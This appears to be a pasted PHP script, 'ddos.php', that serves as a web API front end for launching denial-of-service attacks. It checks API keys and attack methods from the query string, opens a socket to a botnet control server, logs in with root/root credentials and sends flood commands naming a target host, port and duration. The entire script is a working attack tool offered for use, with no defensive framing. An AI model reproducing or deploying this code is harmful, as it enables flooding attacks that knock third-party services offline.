· 5 years ago · Oct 25, 2020, 12:54 PM
1<?php
2error_reporting(E_ALL);
3
4
5 /*
6goto line 94 to stop the delay unless ur net has that loading shit
7http://yourip/ddos.php?key=key1&host=[host]&port=[port]&method=[method]&time=[time]
8 */
9
10
11
12 // API Keys
13 $APIKeys = array("key1", "key2");
14
15
16
17 // VALID attack methods
18
19 $attackMethods = array("method", "method2");
20
21
22
23 // I'm so gay
24
25 function htmlsc($string)
26
27 {
28
29 return htmlspecialchars($string, ENT_QUOTES, "UTF-8");
30
31 }
32
33
34
35 // Check if all parameters are passed
36
37 if (!isset($_GET["key"]) || !isset($_GET["host"]) || !isset($_GET["port"]) || !isset($_GET["method"]) || !isset($_GET["time"]))
38
39 die("You are missing a parameter");
40
41
42
43 // Variables for attack
44
45 $key = htmlsc($_GET["key"]);
46
47 $host = htmlsc($_GET["host"]);
48
49 $port = htmlsc($_GET["port"]);
50
51 $method = htmlsc(strtoupper($_GET["method"]));
52
53 $time = htmlsc($_GET["time"]);
54
55 $command = "";
56
57
58
59 // Check if API key is valid
60
61 if (!in_array($key, $APIKeys)) die("Invalid API key");
62
63
64
65 // Check if attack method is valid
66
67 if (!in_array($method, $attackMethods)) die("Invalid attack method");
68
69
70 if ($method == "method") $command = ".method $host $time dport=$port\r\n";
71 else if ($method == "method2") $command = ".method $host $time dport=$port domain=$host\r\n";
72
73
74
75 $socket = fsockopen("1.1.1.1", "80"); // Example: $socket = fsockopen("1.2.3.4", "23");
76 ($socket ? null : die("Failed to connect"));
77
78
79
80 // Login
81
82 fwrite($socket, " \r\n"); // Leave This.
83 sleep(2);
84 fwrite($socket, "root\r\n"); // Username
85 sleep(2);
86 fwrite($socket, "root\r\n"); // Password
87
88
89
90 // Send command
91
92 sleep(10); //if u have a loading shit on ur net just up the sleep time!
93
94 fwrite($socket, $command);
95
96 // Close connection
97
98 fclose($socket);
99
100 // Say the attack has been sent
101
102 echo "Attack sent to $host:$port for $time seconds using method $method!\n";
103
104
105?>